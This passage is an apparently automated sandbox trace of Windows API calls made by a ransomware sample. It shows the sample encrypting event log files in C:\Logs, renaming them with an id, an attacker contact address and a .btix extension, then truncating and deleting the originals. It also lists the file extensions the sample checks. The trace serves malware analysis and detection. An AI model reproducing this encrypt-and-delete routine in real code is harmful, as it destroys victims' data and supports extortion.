(lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0052.236] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0052.236] lstrlenW (lpString=".doc") returned 4 [0052.236] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0052.236] lstrlenW (lpString=".docx") returned 5 [0052.236] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0052.236] lstrlenW (lpString=".pdf") returned 4 [0052.236] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0052.236] lstrlenW (lpString=".xls") returned 4 [0052.236] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0052.236] lstrlenW (lpString=".xlsx") returned 5 [0052.236] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0052.236] lstrlenW (lpString=".ppt") returned 4 [0052.236] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0052.236] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0052.236] lstrlenW (lpString=".zip") returned 4 [0052.236] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0052.236] lstrlenW (lpString=".rar") returned 4 [0052.236] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0052.236] lstrlenW (lpString=".bz2") returned 4 [0052.236] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0052.236] lstrlenW (lpString=".7z") returned 3 [0052.236] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0052.236] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0052.236] lstrlenW (lpString=".dbf") returned 4 [0052.236] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0052.236] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0052.236] lstrlenW (lpString=".1cd") returned 4 [0052.236] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0052.236] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0052.236] lstrlenW (lpString=".jpg") returned 4 [0052.236] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0052.236] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0052.237] lstrlenW (lpString="Microsoft-Windows-Windows Defender%4Operational.evtx") returned 52 [0052.237] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0052.237] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x316ff14 | out: lpFileSize=0x316ff14*=69632) returned 1 [0052.237] CloseHandle (hObject=0x320) returned 1 [0052.237] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx")) returned 0x20 [0052.237] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0052.237] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0052.237] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.237] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.237] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0052.237] GetLastError () returned 0x0 [0052.237] ReadFile (in: hFile=0x320, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x11000, lpOverlapped=0x0) returned 1 [0052.293] WriteFile (in: hFile=0x38c, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x11010, lpOverlapped=0x0) returned 1 [0052.295] ReadFile (in: hFile=0x320, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x0, lpOverlapped=0x0) returned 1 [0052.295] WriteFile (in: hFile=0x38c, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x13c, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x13c, lpOverlapped=0x0) returned 1 [0052.295] SetEndOfFile (hFile=0x38c) returned 1 [0052.305] CloseHandle (hObject=0x38c) returned 1 [0052.337] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.337] SetEndOfFile (hFile=0x320) returned 1 [0052.341] CloseHandle (hObject=0x320) returned 1 [0052.342] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0052.342] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx")) returned 1 [0052.342] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0052.342] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0052.342] lstrlenW (lpString=".doc") returned 4 [0052.342] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0052.342] lstrlenW (lpString=".docx") returned 5 [0052.342] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0052.342] lstrlenW (lpString=".pdf") returned 4 [0052.342] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0052.342] lstrlenW (lpString=".xls") returned 4 [0052.342] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0052.342] lstrlenW (lpString=".xlsx") returned 5 [0052.342] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0052.342] lstrlenW (lpString=".ppt") returned 4 [0052.342] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0052.342] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0052.342] lstrlenW (lpString=".zip") returned 4 [0052.342] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0052.343] lstrlenW (lpString=".rar") returned 4 [0052.343] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0052.343] lstrlenW (lpString=".bz2") returned 4 [0052.343] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0052.343] lstrlenW (lpString=".7z") returned 3 [0052.343] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0052.343] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0052.343] lstrlenW (lpString=".dbf") returned 4 [0052.343] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0052.343] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0052.343] lstrlenW (lpString=".1cd") returned 4 [0052.343] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0052.343] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0052.343] lstrlenW (lpString=".jpg") returned 4 [0052.343] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0052.343] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0052.343] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0052.343] lstrlenW (lpString=".doc") returned 4 [0052.343] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0052.343] lstrlenW (lpString=".docx") returned 5 [0052.343] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0052.343] lstrlenW (lpString=".pdf") returned 4 [0052.343] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0052.343] lstrlenW (lpString=".xls") returned 4 [0052.343] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0052.343] lstrlenW (lpString=".xlsx") returned 5 [0052.343] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0052.343] lstrlenW (lpString=".ppt") returned 4 [0052.343] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0052.343] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0052.343] lstrlenW (lpString=".zip") returned 4 [0052.344] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0052.344] lstrlenW (lpString=".rar") returned 4 [0052.344] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0052.344] lstrlenW (lpString=".bz2") returned 4 [0052.344] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0052.344] lstrlenW (lpString=".7z") returned 3 [0052.344] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0052.344] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0052.344] lstrlenW (lpString=".dbf") returned 4 [0052.344] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0052.344] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0052.344] lstrlenW (lpString=".1cd") returned 4 [0052.344] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0052.344] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60 [0052.344] lstrlenW (lpString=".jpg") returned 4 [0052.344] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0052.344] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0052.344] lstrlenW (lpString="Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 72 [0052.344] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0052.345] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x316ff14 | out: lpFileSize=0x316ff14*=1052672) returned 1 [0052.345] CloseHandle (hObject=0x370) returned 1 [0052.345] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx")) returned 0x20 [0052.345] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0052.345] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0052.345] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.345] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.345] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0052.345] GetLastError () returned 0x0 [0052.345] ReadFile (in: hFile=0x370, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0052.401] WriteFile (in: hFile=0x350, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0052.414] ReadFile (in: hFile=0x370, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x1010, lpOverlapped=0x0) returned 1 [0052.422] WriteFile (in: hFile=0x350, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x1020, lpOverlapped=0x0) returned 1 [0052.425] ReadFile (in: hFile=0x370, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x0, lpOverlapped=0x0) returned 1 [0052.425] WriteFile (in: hFile=0x350, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x164, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x164, lpOverlapped=0x0) returned 1 [0052.425] SetEndOfFile (hFile=0x350) returned 1 [0052.425] CloseHandle (hObject=0x350) returned 1 [0052.700] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.700] SetEndOfFile (hFile=0x370) returned 1 [0052.701] CloseHandle (hObject=0x370) returned 1 [0052.701] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0052.701] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx")) returned 1 [0052.702] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0052.702] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0052.702] lstrlenW (lpString=".doc") returned 4 [0052.702] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0052.702] lstrlenW (lpString=".docx") returned 5 [0052.702] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0052.702] lstrlenW (lpString=".pdf") returned 4 [0052.702] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0052.702] lstrlenW (lpString=".xls") returned 4 [0052.702] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0052.702] lstrlenW (lpString=".xlsx") returned 5 [0052.702] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0052.702] lstrlenW (lpString=".ppt") returned 4 [0052.702] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0052.702] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0052.702] lstrlenW (lpString=".zip") returned 4 [0052.702] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0052.702] lstrlenW (lpString=".rar") returned 4 [0052.702] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0052.702] lstrlenW (lpString=".bz2") returned 4 [0052.702] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0052.702] lstrlenW (lpString=".7z") returned 3 [0052.702] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0052.702] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0052.702] lstrlenW (lpString=".dbf") returned 4 [0052.702] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0052.702] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0052.702] lstrlenW (lpString=".1cd") returned 4 [0052.703] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0052.703] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0052.703] lstrlenW (lpString=".jpg") returned 4 [0052.703] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0052.703] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0052.703] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0052.703] lstrlenW (lpString=".doc") returned 4 [0052.703] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0052.703] lstrlenW (lpString=".docx") returned 5 [0052.703] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0052.703] lstrlenW (lpString=".pdf") returned 4 [0052.703] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0052.703] lstrlenW (lpString=".xls") returned 4 [0052.703] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0052.703] lstrlenW (lpString=".xlsx") returned 5 [0052.703] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0052.703] lstrlenW (lpString=".ppt") returned 4 [0052.703] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0052.703] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0052.703] lstrlenW (lpString=".zip") returned 4 [0052.703] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0052.703] lstrlenW (lpString=".rar") returned 4 [0052.703] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0052.703] lstrlenW (lpString=".bz2") returned 4 [0052.703] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0052.703] lstrlenW (lpString=".7z") returned 3 [0052.703] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0052.703] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0052.703] lstrlenW (lpString=".dbf") returned 4 [0052.703] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0052.704] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0052.704] lstrlenW (lpString=".1cd") returned 4 [0052.704] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0052.704] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0052.704] lstrlenW (lpString=".jpg") returned 4 [0052.704] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0052.704] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0052.704] lstrlenW (lpString="Setup.evtx") returned 10 [0052.704] CreateFileW (lpFileName="C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0052.704] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x316ff14 | out: lpFileSize=0x316ff14*=69632) returned 1 [0052.704] CloseHandle (hObject=0x370) returned 1 [0052.704] GetFileAttributesW (lpFileName="C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx")) returned 0x20 [0052.704] GetFileAttributesW (lpFileName="C:\\Logs\\Setup.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\setup.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0052.704] CreateFileW (lpFileName="C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0052.704] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.705] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.705] CreateFileW (lpFileName="C:\\Logs\\Setup.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\setup.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0052.705] GetLastError () returned 0x0 [0052.705] ReadFile (in: hFile=0x370, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x11000, lpOverlapped=0x0) returned 1 [0052.728] WriteFile (in: hFile=0x350, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x11010, lpOverlapped=0x0) returned 1 [0052.730] ReadFile (in: hFile=0x370, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x0, lpOverlapped=0x0) returned 1 [0052.730] WriteFile (in: hFile=0x350, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0xe8, lpOverlapped=0x0) returned 1 [0052.730] SetEndOfFile (hFile=0x350) returned 1 [0052.730] CloseHandle (hObject=0x350) returned 1 [0052.731] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.731] SetEndOfFile (hFile=0x370) returned 1 [0052.732] CloseHandle (hObject=0x370) returned 1 [0052.735] SetFileAttributesW (lpFileName="C:\\Logs\\Setup.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0052.735] DeleteFileW (lpFileName="C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx")) returned 1 [0052.736] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0052.736] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0052.736] lstrlenW (lpString=".doc") returned 4 [0052.736] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0052.736] lstrlenW (lpString=".docx") returned 5 [0052.736] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0052.736] lstrlenW (lpString=".pdf") returned 4 [0052.736] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0052.736] lstrlenW (lpString=".xls") returned 4 [0052.736] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0052.736] lstrlenW (lpString=".xlsx") returned 5 [0052.736] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0052.736] lstrlenW (lpString=".ppt") returned 4 [0052.736] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0052.736] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0052.736] lstrlenW (lpString=".zip") returned 4 [0052.736] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0052.736] lstrlenW (lpString=".rar") returned 4 [0052.736] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0052.736] lstrlenW (lpString=".bz2") returned 4 [0052.736] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0052.736] lstrlenW (lpString=".7z") returned 3 [0052.736] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0052.736] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0052.736] lstrlenW (lpString=".dbf") returned 4 [0052.736] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0052.736] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0052.736] lstrlenW (lpString=".1cd") returned 4 [0052.736] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0052.736] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0052.736] lstrlenW (lpString=".jpg") returned 4 [0052.736] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0052.737] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0052.737] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0052.737] lstrlenW (lpString=".doc") returned 4 [0052.737] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0052.737] lstrlenW (lpString=".docx") returned 5 [0052.737] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0052.737] lstrlenW (lpString=".pdf") returned 4 [0052.737] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0052.737] lstrlenW (lpString=".xls") returned 4 [0052.737] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0052.737] lstrlenW (lpString=".xlsx") returned 5 [0052.737] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0052.737] lstrlenW (lpString=".ppt") returned 4 [0052.737] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0052.737] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0052.737] lstrlenW (lpString=".zip") returned 4 [0052.737] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0052.737] lstrlenW (lpString=".rar") returned 4 [0052.737] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0052.737] lstrlenW (lpString=".bz2") returned 4 [0052.737] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0052.737] lstrlenW (lpString=".7z") returned 3 [0052.737] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0052.737] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0052.737] lstrlenW (lpString=".dbf") returned 4 [0052.737] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0052.737] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0052.737] lstrlenW (lpString=".1cd") returned 4 [0052.737] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0052.737] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0052.737] lstrlenW 